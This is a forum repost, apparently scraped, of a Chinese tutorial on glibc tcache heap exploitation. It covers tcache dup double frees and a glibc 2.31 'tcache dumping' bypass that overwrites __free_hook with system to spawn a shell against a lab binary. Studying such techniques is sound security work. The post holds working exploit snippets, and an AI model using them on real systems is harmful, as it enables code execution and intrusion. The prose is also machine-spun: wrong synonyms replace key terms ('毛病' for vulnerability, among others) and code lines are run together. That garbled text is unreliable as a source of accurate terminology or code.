12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 546|回复: 0

从零开始的Linux堆利用(十四)——Tcache

[复制链接]

303

主题

303

帖子

616

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
616
发表于 2022-1-28 22:08:38 | 显示全部楼层 |阅读模式
tcache

tcache的全称是thread local cache,是glibc中性能优化的一种方式,但是tcache实现中引入了一些新的安全问题,导致对于堆的毛病利用甚至更简单了起来。
这个机制的目标是借鉴了jemalloc中的magazine,目标是缓解不同线程之间在堆分配时的资源竞争
glibc中为了防止线程之间共用堆导致出现问题,在每一个线程调用malloc时都会创建一个新的arena
但是这个arena的数量是有限定的,如果超过了历程分配的处理器核数,更多的线程就须要共享堆了,进而由于线程同步相关问题增加了锁,这就导致一部门的线程在运行时可能须要壅闭,等待其他的线程用完堆之后才能利用
tcache就是为了对这种情况进行优化而引入的(GLIBC2.26及更新的版本),每一个线程会有一个tcache,free的内容会被link到tcache中,而不是直接link到arena中
利用一个简单的例子来演示一下,程序的libc是开启了tcache的glibc2.28
a = malloc(0x18);b = malloc(0x18);直接malloc两次0x20的chunk,在gdb中查看

发如今程序一开始有一个大小0x250的chunk
之后才是我们申请的两个0x20大小的chunk
执行free(a)可以看到

这里有三个地方发生了变化,首先是我们申请的chunk被参加到了tcachebin中
上面0x251的地区中增加了一个指向free掉位置的指针,以及一个1

这里堆最开始就是Tcache,Tcache的结构是这样两部门
首先是Counts,大小是0x40,每一个项是一个字节(GLIBC2.26-2.29中是一字节,2.30以上是二字节),表示一个大小的chunk的数量;
之后是Entries,每一项是一个字大小(64位系统是8字节)
因此如果tcache大小为0x250,那么说明GLIBC版本在2.26到2.29之间;如果tcache大小是0x290,那么GLIBC版本在2.30以上;
超过了0x410的chunk在free掉的时间就会直接放到unsortedbin中了
tcache dup

接下来介绍tcache dup,是tcache的double free

这个程序的功能也和之前类似是一个典型的菜单

程序的毛病是free掉一个已有的chunk之后没有将指针清零
这导致程序存在double free的毛病;
并且由于tcache的存在,直接free掉一个chunk两次就可以得到一个重叠的空间
chunk_A = malloc(0x18, "aaaa")free(chunk_A)free(chunk_A)malloc(0x18,p64(elf.sym.target))malloc(0x18,'aaaa')malloc(0x18,"Much Win\x00")任意地址写的方法就这样很简单的完成了
tcache dup的利用属于很简单了,类似于fastbin dup,但是检查的字段还更少
获取代码执行能力也很简单,直接修改free_hook为system即可
chunk_A = malloc(0x18,"aaaa")free(chunk_A)free(chunk_A)malloc(0x18, p64(libc.sym.__free_hook))binsh = (0x18, "/bin/sh\x00")malloc(0x18, p64(libc.sym.system))free(binsh)运行效果

tcache dumping

前一节涉及到的tcache dup在glibc2.29中得到了修复
首先试一下glibc 2.31链接的程序中tcache dup是否还有效
直接简单的尝试double free
chunk_A = malloc(0x18, "aaaa")free(chunk_A)free(chunk_A)但是程序出现了报错,输出了
free(): double free detected in tcache 2这样的结果,那么尝试一下像fastbin dup中的方法
chunk_A = malloc(0x18, "AAAA")chunk_B = malloc(0x18, "BBBB")free(chunk_A)free(chunk_B)free(chunk_A)这样执行仍旧会报这样的错误,那么具体查看一下产生报错的缘故原由
查看gdb中的__int_free函数中具体报错的代码

发现这里比力的是一个e->key==tcache
e指的是要被free的目标chunk,比力的是要被free的chunk的key字段和tcache的地址
关于这个key字段,可以看一下free掉之后tcache中的bins

可以看到其中user data的第一个字段是fd
之后紧接着的一个值0x603010就是这个key字段

在glibc 2.29之后的版本,在被free到tcachebin之后第二个qword就会被设置为key,指向tcache被写入的位置
这个key就是一种标志,表示这个chunk已经被free掉了,用于避免double free
不过实际上malloc也并不是完全确定这个位置指向了tcache就一定是一个free的,因为这也有可能存在随机的数据恰好指向tcache的情况,因此源代码中也须要再检查一下

这里的代码接下来遍历了tcache的所有项,如果tcache中已经存在了这个要被free掉的目标,就报错,否则才能正常free掉
for (tmp = tcache->entries[tc_idx];tmp;tmp=tmp->next)  if(tmp == e)    malloc_printerr("free(): double free detected in tcache 2");这里是用一个glibc 2.31版本链接的demo做一 下测试

链接到的版本是2.31版本,为了进一步理解tcache,这里再分析一个demo

首先申请14个大小为0x18的chunk
之后将这14个chunk全部free掉,下断点断在第13行

这时可以发现前7个chunk被放入到了tcachebin中
之后的7个就是正常放在大小为0x20的fastbin中
这里这个7到底是哪里决定的呢?在gdb中输入mp查看这个结构的值
可以看到mp结构中有一项tcache_count,这个值就是决定了tcache每一个大小允许的数量

接下来继续执行,程序又malloc了7次,这个过程优先将tcache的内容申请出来,也就是说tcache被清空,而fastbin还是有7项

接下来如果再申请一次会发生什么呢?

发现fastbin[0]被拿出来用于这一次的申请,剩下的所有fastbin全部都被参加到了tcache中
这个过程就是tcache dumping
这一机制存在的缘故原由可以理解为,堆管理器发现这个线程很频繁的须要这个大小的空间,为了淘汰频繁检查的消耗,干脆直接把现在内存里这个大小的fastbin都划给这个线程得了,于是一股脑将剩余的fastbin都先参加到tcache中
这里有一个地方须要注意,fastbin中fd指向的是chunk的metadata开始位置,而tcache的next字段指向的是userdata部门;
那么总结一下,只有将tcache填满之后才会申请的内容就会放入常规的bins;而在tcache为空时申请一次fastbin会将这个fastbin中的剩余项都参加到tcache中
回到这个2.31版本的tcache_dup,在这个2.31版本的例子中检查了e->key==tcache导致无法绕过double free的检查
而只有通过直接free到tcache时才会颠末这条检查,如果是将tcache填满之后从fastbin移动到tcachebin就不会再颠末这个检查
for i in range(7):  malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7):  free(i)free(dup)首先填满tcache之后,再free掉一个同样大小的chunk,根据前面demo的实验我们知道这个dup应该是常规的放入到fastbin中
这之后将tcache中的chunk都申请出来,因为tcache机制本身就是为了方便各个线程有一块本身的堆,tcache的内容会比fastbin的内容优先申请出来
for i in range(7):  malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7):  free(i)free(dup)for i in range(7):  malloc(0x18, 'aaaa')在这个状态下再次free(dup)
虽然会检查e->key==tcache,但是由于dup这个chunk之前是被free到了fastbin中,并没有设置key这个字段,因此可以绕过这一检查,最终使得dup同时被参加到了tcachebin和fastbin中

这之后先再申请一次,修改掉fd指针
malloc(0x18, p64(elf.sym.target))看到这时fastbin的fd酿成了0x602010,即target的位置

由于这时用到的是glibc的2.31版本,已经对fastbin_dup这样的问题做了检查,增加了针对fastbin size字段的检查,类似于在高版本House of Rabbit中看到的内容
以是这时我们没办法简单的利用fastbin dup,这就是须要tcache dumping的地方了
这时tcache为空,fastbin中有两项
再申请一次,这个操作首先会将0x603370位置的fastbin用于满足这次的申请,另外会将接下来的fastbin——即我们伪造link到fastbin上的target——参加到tcache中
for i in range(7):  malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7):  free(i)free(dup)for i in range(7):  malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target))# 触发tcache dumpingmalloc(0x18, 'aaaa')这时查看内存,发现好像和我们想象中不太一样

这时可以控制的内存恰好是target下面的空间,有一个0x10的偏移,以是须要修改一下伪造fd时的值,那么设置成-0x10呢?
malloc(0x18, p64(elf.sym.target-0x10))这时也有一些问题,因为target值的部门恰好会被当成fastbin的fd来解析,在触发tcache dumping的过程中会尝试去这个不可读写的地址继续将其参加到tcache中
以是这里须要再向前面减8
for i in range(7):  malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7):  free(i)free(dup)for i in range(7):  malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target-0x18))# 触发tcache dumpingmalloc(0x18, 'aaaa')malloc(0x18, p64(0)+b"Much Win\x00")完成了任意地址写,接下来利用类似的方法完成任意代码执行就很轻松了,直接修改__free_hook
由于__free_hook本身没有值,不会被解析为fastbin的fd,这次就不须要再向前偏移8了
for i in range(7):  malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7):  free(i)free(dup)for i in range(7):  malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(libc.sym.__free_hook-0x10))binsh = malloc(0x18, '/bin/sh\x00')malloc(0x18, p64(libc.sym.system))free(binsh)运行之后就可以得到shell



来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-25 18:55 , Processed in 0.109375 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表